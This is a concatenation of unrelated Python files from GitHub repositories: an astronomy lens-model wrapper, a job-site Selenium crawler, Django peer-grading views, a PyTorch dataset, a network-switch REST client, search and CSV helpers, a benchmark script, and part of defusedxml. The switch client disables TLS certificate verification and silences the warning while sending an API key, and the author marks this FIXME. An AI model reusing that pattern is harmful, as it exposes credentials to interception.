kwargs, observed_convention_index\n\n @staticmethod\n def _count_models(components):\n\n n = 0\n for component in components:\n n += component.n_models\n return n\n\n @property\n def priors(self):\n priors = []\n component_index = 0\n for component in self.components:\n\n prior_index, prior = component.priors\n new = []\n for idx, prior_i in zip(prior_index, prior):\n new += [[idx + component_index] + prior_i]\n priors += new\n component_index += component.n_models\n\n return priors\n\n @property\n def fixed_models(self):\n fixed_models = []\n for component in self.components:\n fixed_models += component.fixed_models\n return fixed_models\n\n @property\n def param_init(self):\n param_init = []\n for component in self.components:\n param_init += component.param_init\n return param_init\n\n @property\n def param_sigma(self):\n param_sigma = []\n for component in self.components:\n param_sigma += component.param_sigma\n return param_sigma\n\n @property\n def param_lower(self):\n param_lower = []\n for component in self.components:\n param_lower += component.param_lower\n return param_lower\n\n @property\n def param_upper(self):\n param_upper = []\n for component in self.components:\n param_upper += component.param_upper\n return param_upper\n\n @property\n def lens_model_list(self):\n lens_model_list, _, _, _ = self.get_lenstronomy_args()\n return lens_model_list\n\n @property\n def redshift_list(self):\n _, redshift_list, _, _ = self.get_lenstronomy_args()\n return redshift_list\n\n @property\n def kwargs(self):\n _, _, kwargs, _ = self.get_lenstronomy_args()\n return kwargs\n","repo_name":"dangilman/LenstronomyWrapper","sub_path":"lenstronomywrapper/LensSystem/macrolensmodel.py","file_name":"macrolensmodel.py","file_ext":"py","file_size_in_byte":4598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"666662791","text":"import argparse\nimport configparser\nimport json\nimport csv\nimport os.path\n\nfrom datetime import datetime\nfrom time import sleep\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service as ChromiumService\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom webdriver_manager.core.utils import ChromeType\nfrom selenium.webdriver.common.action_chains import ActionChains # for mouse over\n\nimport redis\n\n\ndef searcher(search_keyword, save_to_redis, redis_param):\n start_time = datetime.now()\n\n # webdriver initial\n driver = webdriver.Chrome(service=ChromiumService(ChromeDriverManager(chrome_type=ChromeType.CHROMIUM).install()))\n driver.implicitly_wait(15)\n\n # go to main page\n driver.get(\"https://www.profesia.sk/\")\n title = driver.title\n assert title == \"PROFESIA.SK | Práca, zamestnanie, ponuka práce, brigády, voľné pracovné miesta\"\n\n # cookieee Decline\n cookiebot = driver.find_element(by=By.ID, value=\"CybotCookiebotDialogBodyButtonDecline\")\n cookiebot.click()\n\n # typeing search phrase and clic on search button\n offer_search_link = driver.find_element(by=By.ID, value=\"offer-search-link\")\n search_tag_box = driver.find_element(by=By.ID, value=\"offerCriteriaSuggesterInputId\")\n\n search_tag_box.send_keys(search_keyword + \"\\n\")\n offer_search_link.click()\n\n # checking for results\n message = driver.find_elements(by=By.CLASS_NAME, value=\"col-xs-8\")\n if message != []:\n pass\n else:\n print(\"There were no results found for '{}'\".format(search_keyword))\n driver.quit()\n exit()\n\n # Checking for locatiun\n message = driver.find_element(by=By.CLASS_NAME, value=\"col-xs-8\")\n value = message.text\n expected = \"Ponuky práce\"\n assert value[:12] == expected.upper(), f'{value} {expected.upper()}'\n\n host = redis_param[\"host\"]\n port = redis_param[\"port\"]\n db = redis_param[\"db\"]\n r = None\n\n if save_to_redis:\n pool = redis.ConnectionPool(host=host, port=port, db=db, decode_responses=True)\n r = redis.Redis(connection_pool=pool)\n # create or append search words\n r.sadd(\"search_words\", search_keyword)\n\n # start crawling\n stop_iter = True\n while stop_iter:\n\n # hold on to the element so that the JS works on the page\n cennik_btn = driver.find_element(by=By.XPATH, value=\"//a[@title='Cenník']\")\n a = ActionChains(driver)\n a.scroll_to_element(cennik_btn).pause(1).perform()\n\n # get an element with a list of vacancies\n job_rows_active = driver.find_elements(by=By.XPATH, value=\"//main[@class='col-sm-6']//li[@class='list-row']\")\n for i in job_rows_active:\n job_title = i.find_element(by=By.XPATH, value=\"h2\").text\n offer_id = i.find_element(by=By.XPATH, value=\"h2/a\").get_attribute('id')\n offer_link = i.find_element(by=By.XPATH, value=\"h2/a\").get_attribute('href')\n employer = i.find_element(by=By.XPATH, value=\"span[@class='employer']\").text\n job_location = i.find_element(by=By.XPATH, value=\"span[@class='job-location']\").text\n salary = None\n salary_block_state = i.find_elements(by=By.XPATH, value=\"span[@class='label-group']\")\n if salary_block_state != []:\n salary_block = i.find_element(by=By.XPATH, value=\"span[@class='label-group']\")\n salary_state = salary_block.find_elements(by=By.XPATH, value=\"a[@data-dimension7]\")\n if salary_state != []:\n salary = salary_block.find_element(by=By.XPATH, value=\"a[@data-dimension7]\").text\n info = i.find_element(by=By.XPATH, value=\"//span[@class='info']\").text\n info = info.split()\n data_line = {\n \"offer_id\": offer_id,\n \"offer_link\": offer_link,\n \"employer\": employer,\n \"job_title\": job_title,\n \"job_location\": job_location,\n \"salary\": salary,\n \"info\": info\n }\n\n if save_to_redis:\n if r.sadd(search_keyword, data_line[\"offer_id\"]):\n r.set(data_line[\"offer_id\"], json.dumps(data_line))\n # checking that you already have the data\n else:\n if info[0] == \"Aktualizované\":\n pass\n else:\n stop_iter = False\n break\n else:\n # File to save data\n file_name = str(start_time.date()) + \" \" + search_keyword + \".csv\"\n field_names = [\n \"offer_id\",\n \"offer_link\",\n \"employer\",\n \"job_title\",\n \"job_location\",\n \"salary\",\n \"info\"\n ]\n if not os.path.isfile(file_name):\n with open(file_name, \"w\", newline='') as csv_file:\n writer = csv.DictWriter(csv_file, fieldnames=field_names)\n writer.writeheader()\n with open(file_name, \"a\", newline='') as csv_file:\n writer = csv.DictWriter(csv_file, fieldnames=field_names)\n writer.writerow(data_line)\n\n # touch navigation buttons\n b = ActionChains(driver)\n navigation_keys = driver.find_elements(by=By.XPATH, value='//ul[@class=\"pagination\"]//a')\n for i in navigation_keys:\n b.move_to_element(i).pause(0).perform()\n a.scroll_to_element(cennik_btn).pause(0).perform()\n\n # check if this is the last page or not\n key_next_check = driver.find_elements(by=By.XPATH, value=\"//a[@class='next']\")\n if key_next_check != []:\n key_next = driver.find_element(by=By.XPATH, value=\"//a[@class='next']\")\n b.move_to_element(key_next).pause(2).click().perform()\n else:\n break\n\n driver.quit()\n\n\ndef main():\n print(\"\"\"\n #########################################\n # WEBSITE: PROFESIA.SK #\n ######################################### \n \"\"\")\n parser = argparse.ArgumentParser(description='profesia.sk crawler')\n parser.add_argument(\n \"-r\",\n action='store_true',\n help=\"writing to redis, not to a file\"\n )\n parser.add_argument(\n \"-a\",\n action='store_true',\n help=\"do not stop work after the first loop, refresh the page waiting for new data\"\n )\n parser.add_argument(\n \"-p\",\n nargs=\"?\",\n default=\"\",\n help=\"search keyword, try 'python' or 'selenium'\",\n )\n args = parser.parse_args()\n\n # check redis config\n redis_param = {\n \"host\": \"\",\n \"port\": \"\",\n \"db\": \"\"\n }\n if args.r:\n path = \"settings.ini\"\n config = configparser.ConfigParser()\n if not os.path.isfile(path):\n print(\"{} file not found\".format(path))\n config.add_section(\"redis_config\")\n config.set(\"redis_config\", \"host\", \"localhost\")\n config.set(\"redis_config\", \"port\", \"6379\")\n config.set(\"redis_config\", \"db\", \"0\")\n print(\"creating...\")\n with open(path, \"w\") as config_file:\n config.write(config_file)\n print(\"please check your connection {} file and restart the program\".format(path))\n exit()\n else:\n config.read(path)\n redis_param[\"host\"] = config.get(\"redis_config\", \"host\")\n redis_param[\"port\"] = config.get(\"redis_config\", \"port\")\n redis_param[\"db\"] = config.get(\"redis_config\", \"db\")\n\n # other parameters\n if args.a is False and args.r is False and args.p == \"\":\n print(\"no arguments no problem, try -h\")\n\n # start the process\n while True:\n searcher(search_keyword=args.p, save_to_redis=args.r, redis_param=redis_param)\n\n if args.a:\n sleep(6)\n continue\n else:\n break\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GitAlexUser/profesia_sk_bot","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":8166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"19702899802","text":"from django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404, render, redirect\n\nfrom .models import *\n\ndef getChecker(n, i, m, nq, qno):\n a = []\n for j in range (0,m):\n a.append(((i+j)%n)*nq + qno)\n return a\n\ndef index(request):\n message = \"The Code Runs!\"\n return render(request, 'index.html', {\"message\":message})\n\ndef student_home(request, rollNumber):\n student = Student.objects.get(rollNumber = rollNumber)\n questions = Question.objects.all()\n total_questions = Question.objects.count()\n name = student.name\n programme = student.programme\n department = student.department\n for i in questions:\n print(i.questionID)\n\n return render(request, 'home.html', {\"name\":name, \"programme\":programme, \"rollNumber\":rollNumber, \"department\":department, \"questions\":questions})\n\ndef submit_program(request, question_number, rollNumber):\n question = Question.objects.get(questionID=question_number)\n submission = Submission.objects.filter(questionNo=question, rollNumber=rollNumber)\n answer = request.POST[question_number+'answer']\n if not submission:\n new_submission = Submission(questionNo=question, rollNumber=rollNumber, submission=answer)\n new_submission.save()\n else:\n submission.update(submission=answer)\n \n return redirect('/peer/'+rollNumber+'/task_student/')\n\ndef to_grade(request, question_number, rollNumber):\n no_of_task = 4\n total_students = Student.objects.count()\n question = Question.objects.get(questionID = question_number)\n total_questions = Question.objects.count()\n submissions = Submission.objects.filter(questionNo = question)\n qid = Submission.objects.filter(rollNumber = rollNumber, questionNo = question_number)\n i = qid[0].uniqueID\n print (i)\n uniqueID = int((i-1)/total_questions) + 1\n print (uniqueID)\n to_check = getChecker(total_students, uniqueID, no_of_task, total_questions, int(question_number))\n print (to_check)\n a = []\n for e in to_check:\n print (e)\n data_dict = {}\n sub = Submission.objects.get(uniqueID = e)\n to_checkStudent = Student.objects.filter(rollNumber = rollNumber).update(submission = sub)\n data_dict[\"uid\"] = e\n data_dict[\"text\"] = sub.submission\n a.append(data_dict)\n data_dict = {}\n print (a)\n\n return render(request, 'grading.html', {\"codes\":a, \"rollNumber\":rollNumber, \"question_number\":question_number})\n\ndef task(request, rollNumber):\n student = Student.objects.get(rollNumber = rollNumber)\n questions = Question.objects.filter()\n submissions = Submission.objects.filter(rollNumber = rollNumber)\n for submission in submissions:\n print (submission.questionNo)\n return render(request, 'task.html', {\"questions\":questions, \"rollNumber\":rollNumber})\n\ndef grade(request, question_number, uniqueID, rollNumber):\n submission = Submission.objects.get(uniqueID = uniqueID)\n marks = request.POST[uniqueID + 'grade']\n student = Student.objects.get(rollNumber = rollNumber)\n new_marks = Marks(checked_by = student, submission_id=submission, marks = int(marks))\n new_marks.save()\n return redirect('/peer/'+question_number+\"/\"+rollNumber+'/student/')\n\n \n","repo_name":"ipsita0911/peer-grading","sub_path":"peerGrader/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"37519280979","text":"from torch.utils.data.dataset import T_co\n\nfrom markup_video import Line\nimport numpy as np\nfrom torchvision.io import read_image\nfrom torchvision.transforms.functional import rotate, resize, normalize\nfrom math import degrees\nimport torch\nimport json\nimport imageio_ffmpeg\nimport torch.utils.data\n\n\nrgb_mean = [98.1326, 98.1326, 98.1326]\nrgb_std = [50.2526, 50.2526, 50.2526]\n\n\ndef reverse_norm(img):\n return img * 256\n\n\ndef make_mask(image_size):\n x = torch.linspace(-image_size // 2, image_size // 2, image_size)\n x, y = torch.meshgrid([x, x], indexing='ij')\n return torch.sqrt(x ** 2 + y ** 2).lt(image_size // 2)\n\n\ndef prepro(img, h):\n img = resize(img, [h, h])\n img = normalize(img, rgb_mean, rgb_std, inplace=True)\n return img\n\n\nclass HorizonDataSet:\n def __init__(self, data_dir='data/horizon', num_classes=16, select_label=None, image_size=64,\n no_rotate=False, no_mask=False, no_resize=False, no_normalize=False, return_orig=False):\n self.data_dir = data_dir\n self.rotate = not no_rotate\n self.mask = not no_mask\n self.resize = not no_resize\n self.normalize = not no_normalize\n self.bins = num_classes\n self.select_label = select_label\n self.image_size = image_size\n self.return_orig = return_orig\n\n with open(f'{self.data_dir}/lines.json') as f:\n lines = json.loads(f.read())\n self.lines = lines\n self.index = list(lines)\n self.circular_mask = make_mask(image_size)\n\n def item_filename_normalized(self, item):\n return f'{self.data_dir}/normalized/frame_{item:05}.npy'\n\n def item_filename(self, item):\n return f'{self.data_dir}/frame_{item:05}.npy'\n\n def __len__(self):\n return len(self.lines)\n\n def __getitem__(self, item):\n\n img = np.load(self.item_filename_normalized(item)).squeeze()\n img = torch.from_numpy(img)\n\n #\n # \"\"\"\n # The image will be resized from its original size to a h x h square\n # since the aspect ratio changes, this will also mean we need to rescale the lines and angles\n # \"\"\"\n h = img.shape[1]\n orig_h, orig_w = 560, 1280\n rescale_x_factor = orig_h / orig_w\n scale = orig_h / h\n\n # load the serialized form into a numpy array\n lines = np.stack([Line.from_flat(line).to_numpy() for line in self.lines[self.index[item]]], axis=-1)\n\n \"\"\" we always rescale the lines, because we will assume that the rescaling to the target will happen later \"\"\"\n lines[0, :, :] = lines[0, :, :] * rescale_x_factor\n lines[:, :, :] = lines[:, :, :] / scale\n\n # compute l2 norm for each line ( rise - run in normal form ), then convert to complex plane, and angle\n slope = (lines[:, 1, :] - lines[:, 0, :])\n length = np.linalg.norm(slope, ord=2, axis=0, keepdims=True)\n complex = (slope / length).T.copy().view(np.complex128)\n complex_mean = complex.mean()\n angle = torch.tensor([np.angle(complex_mean)])\n\n # data augmentation - rotate\n if self.rotate:\n d_angle = torch.rand(1) * 2 * torch.pi\n img = rotate(img, angle=degrees(d_angle.item()), center=[img.shape[2] / 2, img.shape[1] / 2])\n angle = angle - d_angle\n angle = (angle + 2 * np.pi) % (2 * np.pi)\n\n complex_mean = torch.complex(real=torch.cos(angle), imag=torch.sin(angle))\n\n if self.mask:\n # mask the image so there are no edges\n img = img * self.circular_mask.unsqueeze(0)\n\n # calculate class\n slise_size = (2 * np.pi) / self.bins\n discrete = int(np.floor(angle / slise_size))\n\n labels = {\n 'lines': lines,\n 'complex': complex,\n 'complex_mean': complex_mean,\n 'angle': angle,\n 'discrete': discrete,\n 'discrete_min': discrete * slise_size,\n 'discrete_max': (discrete + 1) * slise_size,\n 'item': item,\n }\n\n if self.return_orig:\n\n orig = read_image(f'{self.data_dir}/{self.index[item]}').float()\n\n if self.select_label is not None:\n return img, orig, labels[self.select_label]\n else:\n return img, orig, labels\n\n if self.select_label is not None:\n return img, labels[self.select_label]\n else:\n return img, labels\n\n\ndef video_stream(data_dir, image_size, no_mask=False):\n\n # read in the video stream\n reader = imageio_ffmpeg.read_frames(f'{data_dir}/video.mp4')\n\n # first frame contains meta-info\n frameinfo = next(reader)\n w, h = frameinfo['size']\n\n # mask to remove edges\n mask = make_mask(image_size)\n\n # generate the stream\n for frame in reader:\n img = torch.frombuffer(frame[0:w * h * 3], dtype=torch.uint8)\n img = img.reshape(h, w, 3).permute(2, 0, 1)\n img = resize(img, [image_size, image_size]).float()\n img = normalize(img, rgb_mean, rgb_std, inplace=True)\n if not no_mask:\n img = img * mask\n yield img\n\n\nclass HorizonVideoDataset(torch.utils.data.IterableDataset):\n def __init__(self, data_dir='data/horizon', num_classes=16, select_label=None, image_size=32,\n no_mask=False, no_rotate=False):\n super().__init__()\n self.data_dir = data_dir\n self.image_size = image_size\n self.no_mask = no_mask\n\n def __iter__(self):\n return video_stream(self.data_dir, self.image_size, self.no_mask)\n\n def __getitem__(self, index) -> T_co:\n # no idea why pytorch needed this\n pass\n\n\nif __name__ == '__main__':\n\n \"\"\"\n run to compute the normalization values of the dataset\n \"\"\"\n\n nimages = 0\n mean = torch.zeros(3)\n var = torch.zeros(3)\n var_all = torch.zeros(1)\n\n import pathlib\n\n path = pathlib.Path('./data/horizon').glob('*.png')\n\n for file in path:\n img = read_image(str(file))\n # Rearrange batch to be the shape of [C, W * H]\n img = img.view(img.size(0), -1).float()\n # Update total number of images\n nimages += 1\n # Compute mean and std here\n mean += img.mean(1)\n var += img.var(1)\n var_all += img.var()\n\n mean /= nimages\n var /= nimages\n var_all /= nimages\n std = torch.sqrt(var)\n std_all = torch.sqrt(var_all)\n\n print('mean', mean)\n print('mean_all', mean.mean())\n print('std', std)\n print('std_all', std_all)\n","repo_name":"DuaneNielsen/horizon","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"18796033462","text":"import requests\nimport json\nfrom tunnel import Tunnel\nfrom connection_info import ConnectionInfo\n\n# Disable warnings #FIXME!\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\nclass Bridge:\n ''' The Bridge object tracks and manages virtual switch objects. \n Bridge\n - Name\n - Address\n - Send rest boolean\n - DPID\n - Controller info\n - IP or URL\n - TCP Port\n - HTTP connection info (private) - Inherited from Switch\n - IP or URL\n - Security info - REST API key \n - List of tunnelss\n ''' \n def __init__(self, name, href, urn, dont_send_rest, connection,\n dpid=None, controller_addr=None, controller_port=None,\n tunnels=[]):\n self.name = name\n self.href = href\n self.urn = urn\n self.dont_send_rest = dont_send_rest\n self.connection = connection\n self.dpid = dpid\n self.controller_addr = controller_addr\n self.controller_port = controller_port\n self.tunnels = list(tunnels)\n self.current_vport = 0\n\n def __str__(self):\n retstr = \"BRIDGE %s\\n%s\\n%s, DPID: %s, Controller: %s:%d\" % (self.href,\n self.urn,\n self.name,\n self.dpid,\n self.controller_addr,\n self.controller_port)\n retstr += \"\\n TUNNELS:\"\n for cxn in self.tunnels:\n retstr += \"\\n %s\" % str(cxn)\n return retstr\n\n def __repr__(self):\n return self.__str__()\n \n def get_name(self):\n return self.name\n\n def get_href(self):\n return self.href\n\n def get_urn(self):\n return self.urn\n\n def get_connection_info(self):\n return self.connection\n\n def get_dpid(self):\n return self.dpid\n\n def get_controller_addr(self):\n return self.controller_addr\n\n def get_controller_port(self):\n return self.controller_port\n\n def get_tunnels(self):\n return self.tunnels\n\n def add_tunnel(self, dstname, physport, dstvlan):\n # NOTE: this doesn't check for whether or not this is a valid thing to\n # do. The user of this function should be confirming with the switch\n # that a particular VLAN/Port combination is valid.\n\n # Make sure there isn't already a 'dstname' in the tunnels list\n for tunnel in self.tunnels:\n if tunnel.get_name() == dstname:\n tunnel_names = []\n for t in self.tunnels:\n tunnel_names.append(t.get_name())\n \n raise Exception(\"%s already exists as a tunnel name: %s\" %\n (dstname, tunnel_names))\n \n # Find open virtual port number\n self.current_vport += 1\n vport = self.current_vport\n\n # Create the Tunnel object\n tunnel_href = self.href + \"/tunnels/\" + str(dstname)\n tunnel = Tunnel(tunnel_href, dstname, physport, dstvlan, vport)\n\n # Make REST calls to instantiate this new tunnel\n self.add_tunnel_REST_helper(physport, vport, dstvlan)\n \n # Finally, add it to the local list of tunnels\n self.tunnels.append(tunnel)\n\n return tunnel\n\n def add_tunnel_REST_helper(self, port, vport, vlan_id):\n if self.dont_send_rest:\n return\n\n base_url = self.connection.get_address()\n rest_key = self.connection.get_rest_key()\n response = requests.post(base_url+'/api/v1/bridges/'+self.name+'/tunnels',\n {'port' : port,\n 'ofport' : vport,\n 'vlan-id' : vlan_id},\n headers={'authorization':rest_key},\n verify=False) #FIXME: fixed value\n\n if response.status_code != 201:\n #ERROR!\n raise Exception(\"_add_tunnel Response %d: %s\" %\n (response.status_code, json.dumps(response.json())))\n return response # May not be used\n\n def remove_tunnel(self, dstname):\n # NOTE: this doesn't check to see if the tunnel already exists on\n # the bridge (it does check if it exists in the Bridge data structure).\n\n # Find the tunnel in the local list of tunnels\n vport = None\n for tunnel in self.tunnels:\n if tunnel.get_name() == dstname:\n vport = tunnel.get_virtual_port()\n break\n if vport == None:\n raise Exception(\"dstname %s doesn't exist in tunnels:\\n%s\" %\n (dstname, self.tunnels))\n\n # Make REST calls to delete the tunnel\n self.remove_tunnel_REST_helper(vport)\n\n self.tunnels.remove(tunnel)\n\n def remove_tunnel_REST_helper(self, vport):\n if self.dont_send_rest:\n return\n\n base_url = self.connection.get_address()\n rest_key = self.connection.get_rest_key()\n response = requests.delete(base_url+'/api/v1/bridges/'+self.name+\n '/tunnels/'+str(vport),\n headers={'authorization':rest_key},\n verify=False) #FIXME: fixed value\n\n if response.status_code != 204:\n #ERROR!\n raise Exception(\"_remove_tunnel Response %d: %s\" %\n (response.status_code, str(response)))\n return response # May not be used\n \n def set_dpid(self, dpid):\n self.dpid = dpid\n\n def set_controller(self, controller_addr, controller_port):\n self.controller_addr = controller_addr\n self.controller_port = controller_port\n\n def to_json(self):\n '''\n {\n 'bridge':'br1'\n 'href': 'https://1.2.3.4/switches/corsa-a/bridges/br1',\n 'urn': 'asdfqwerupo8iu12p3o4idsndinpvoin23in',\n 'controller-addr': '2.3.4.5',\n 'controller-port': '6633',\n 'dpid': 'abcdef12345678',\n 'tunnels':\n [\n ,\n ,\n ]\n }\n '''\n tunnel_json = []\n for cxn in self.tunnels:\n tunnel_json.append(cxn.to_json())\n\n retval = {\n 'bridge':self.name,\n 'href': self.href,\n 'urn': self.urn,\n 'controller-addr': self.controller_addr,\n 'controller-port': self.controller_port,\n 'dpid': self.dpid,\n 'tunnels': tunnel_json\n } \n \n return retval\n\n\n \n","repo_name":"sdonovan1985/corsa-geni","sub_path":"bridge.py","file_name":"bridge.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"69862746596","text":"#pip install fuzzywuzzy\n#pip install python-Levenshtein\nfrom fuzzywuzzy import fuzz\nfrom fuzzywuzzy import process\nimport psycopg2\nfrom psycopg2 import connect, Error\ndef poisk(word, books: dict):\n lst = []\n for book_id in books:\n lst.append(books[book_id].title[\"ru\"])\n a = process.extract(word, lst, limit=3)\n print(a)\n ans = []\n for i in a:\n for j in books.values():\n if i[0] == j.title[\"ru\"]:\n ans.append(j)\n\n return ans\n\n\n","repo_name":"RomanLeo2003/tatar_by_hack","sub_path":"bot/poisk.py","file_name":"poisk.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"13028611588","text":"import csv\n\n\n# 获取每一行\ndef get_fans_data():\n with open('biliUpFans.csv', 'r', encoding=\"gbk\") as f:\n result = []\n ups = []\n fans = []\n reader = csv.reader(f)\n for row in reader:\n ups.append(row[0])\n fans.append(row[1])\n result.append(ups)\n result.append(fans)\n return result\n\n\ndef get_anime_top():\n with open('番剧排名.csv', encoding='utf-8') as f:\n lists = [[], [], [], []]\n result = []\n reader = csv.reader(f)\n for row in reader:\n lists[0].append(row[0])\n lists[1].append(row[2])\n lists[2].append(row[3])\n lists[3].append(row[4])\n for list in lists:\n result.append(list)\n return result\n\n","repo_name":"NaiHhh/data_visual_project","sub_path":"service/fans_top.py","file_name":"fans_top.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"41445949218","text":"import sys\nimport shutil\nimport datetime\nimport os\n\noneDay = datetime.timedelta(days=1)\n\nGEO_LOGS_DIR = '/l/logs.nightly/geo'\n\nos.chdir('/l/trunk.nightly/lucene')\n\ncommits = []\nwith os.popen('git log --format=fuller', 'r') as f:\n while True:\n line = f.readline()\n if len(line) == 0:\n break\n line = line.rstrip()\n if line.startswith('commit '):\n commitHash = line[7:]\n # Author\n f.readline()\n # AuthorDate\n f.readline()\n # Committer\n f.readline()\n # Committer\n line = f.readline()\n if line.startswith('CommitDate: '):\n s = line[12:].strip()\n commitTime = datetime.datetime.strptime(s, '%a %b %d %H:%M:%S %Y %z')\n #if len(commits) > 0 and commitTime > commits[-1][1]:\n # print('wrong order: %s -> %s vs %s, %s' % (s, commitTime, commits[-1][1], commits[-1]))\n commits.append((commitHash, commitTime))\n #print('got: %s, %s' % (commitHash, commitTime))\n\ndef run(cmd):\n if os.system(cmd):\n raise RuntimeError('command \"%s\" failed' % cmd)\n\ndatesTested = set()\nfor name in os.listdir(GEO_LOGS_DIR):\n if name.endswith('.log.txt.bz2'):\n tup = list(int(x) for x in name.split('.')[:3])\n date = datetime.date(year=tup[0], month=tup[1], day=tup[2])\n #print('already done: %s' % date)\n datesTested.add(date)\n\nlastTestedDate = None\n\nupto = 0\nprint('HERE: %s' % str(commits[0]))\n\nwhile upto < len(commits):\n\n # Go back to last commit the day before:\n if lastTestedDate is not None:\n while True:\n hash, commitTime = commits[upto]\n oldSrc = '/l/util/src/main/perf/backtest/IndexAndSearchOpenStreetMaps.java.%s' % hash\n if os.path.exists(oldSrc):\n print(' switch to %s' % oldSrc)\n shutil.copy(oldSrc, '/l/util/src/main/perf/IndexAndSearchOpenStreetMaps.java')\n\n utc = commitTime.utctimetuple()\n date = datetime.date(year=utc[0], month=utc[1], day=utc[2])\n #print('cmp %s vs %s' % (date, lastTestedDate))\n if date != lastTestedDate:\n break\n upto += 1\n\n hash, commitTimeStamp = commits[upto]\n upto += 1\n\n utc = commitTimeStamp.utctimetuple()\n\n ts = '%04d-%02d-%02d %02d:%02d:%02d' % utc[:6]\n lastTestedDate = datetime.date(year=utc[0], month=utc[1], day=utc[2])\n \n print('\\n%s TEST: %s, %s' % (datetime.datetime.now(), hash, commitTimeStamp))\n if lastTestedDate in datesTested:\n print(' already done: %s' % lastTestedDate)\n else:\n run('git checkout %s' % hash)\n run('git clean -xfd')\n run('ant jar')\n run('python3 -u /l/util/src/python/runGeoBenches.py -nightly -timeStamp %s' % (ts.replace('-', '.').replace(':', '.').replace(' ', '.')))\n run('python3 -u /l/util/src/python/writeGeoGraphs.py')\n","repo_name":"mikemccand/luceneutil","sub_path":"src/python/backTestGeo.py","file_name":"backTestGeo.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":182,"dataset":"github-code","pt":"0"}
+{"seq_id":"9728993204","text":"violator_songs = {\n 'World in My Eyes': 4.86,\n 'Sweetest Perfection': 4.43,\n 'Personal Jesus': 4.56,\n 'Halo': 4.9,\n 'Waiting for the Night': 6.07,\n 'Enjoy the Silence': 4.20,\n 'Policy of Truth': 4.76,\n 'Blue Dress': 4.29,\n 'Clean': 5.83\n}\n\ncount_songs = int(input('Сколько песен хотите выбрать? '))\nsumm_minutes = 0\nfor num in range(count_songs):\n while True:\n song = input(f'Название {num + 1} песни: ')\n if violator_songs.get(song):\n break\n else:\n print('Ошибка: такой песни нет.')\n summ_minutes += violator_songs[song]\nprint('Общее время звучания песен:', round(summ_minutes, 2), 'минут')\n\n# принято\n","repo_name":"ShizoTempest/SkillBox-Mobule","sub_path":"Module_19/01_songs_2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"17227185108","text":"from os import getenv, environ\nfrom flask import Flask\nfrom dotenv import load_dotenv\nfrom app.controllers.user import user\nload_dotenv()\n\ndef create_app():\n app = Flask(__name__)\n app.config[\"MONGO_URI\"] = getenv(\n \"MONGO_URI\", \"users\")\n app.config['SECRET_KEY'] = environ.get('SECRET_KEY', \"it's a secret\")\n\n \"\"\"\n client credentials set up\n \"\"\"\n app.config[\"CLIENT_ID\"] = getenv(\n \"CLIENT_ID\", \"client_id_2bb1e412edd311e6bd04e285d6015267\")\n app.config[\"CLIENT_SECRET\"] = getenv(\n \"CLIENT_SECRET\", \"client_secret_6zZVr8biuqGkyo9IxMO5jY2QlSp0nmD4EBAgKcJW\")\n app.config[\"USER_ID\"] = getenv(\n \"USER_ID\", \"e83cf6ddcf778e37bfe3d48fc78a6502062fc\")\n \n from app.mongo import mongo\n mongo.init_app(app)\n app.register_blueprint(user, url_prefix='/')\n\n return app","repo_name":"ptam11/synapsefi-flask","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"41174633040","text":"from __future__ import print_function, absolute_import\n\nimport threading\nimport warnings\n\nfrom lxml import etree as _etree\n\nfrom .common import DTDForbidden, EntitiesForbidden, NotSupportedError\n\nLXML3 = _etree.LXML_VERSION[0] >= 3\n\n__origin__ = \"lxml.etree\"\n\ntostring = _etree.tostring\n\n\nwarnings.warn(\n \"defusedxml.lxml is no longer supported and will be removed in a future release.\",\n category=DeprecationWarning,\n stacklevel=2,\n)\n\n\nclass RestrictedElement(_etree.ElementBase):\n \"\"\"A restricted Element class that filters out instances of some classes\"\"\"\n\n __slots__ = ()\n # blacklist = (etree._Entity, etree._ProcessingInstruction, etree._Comment)\n blacklist = _etree._Entity\n\n def _filter(self, iterator):\n blacklist = self.blacklist\n for child in iterator:\n if isinstance(child, blacklist):\n continue\n yield child\n\n def __iter__(self):\n iterator = super(RestrictedElement, self).__iter__()\n return self._filter(iterator)\n\n def iterchildren(self, tag=None, reversed=False):\n iterator = super(RestrictedElement, self).iterchildren(tag=tag, reversed=reversed)\n return self._filter(iterator)\n\n def iter(self, tag=None, *tags):\n iterator = super(RestrictedElement, self).iter(tag=tag, *tags)\n return self._filter(iterator)\n\n def iterdescendants(self, tag=None, *tags):\n iterator = super(RestrictedElement, self).iterdescendants(tag=tag, *tags)\n return self._filter(iterator)\n\n def itersiblings(self, tag=None, preceding=False):\n iterator = super(RestrictedElement, self).itersiblings(tag=tag, preceding=preceding)\n return self._filter(iterator)\n\n def getchildren(self):\n iterator = super(RestrictedElement, self).__iter__()\n return list(self._filter(iterator))\n\n def getiterator(self, tag=None):\n iterator = super(RestrictedElement, self).getiterator(tag)\n return 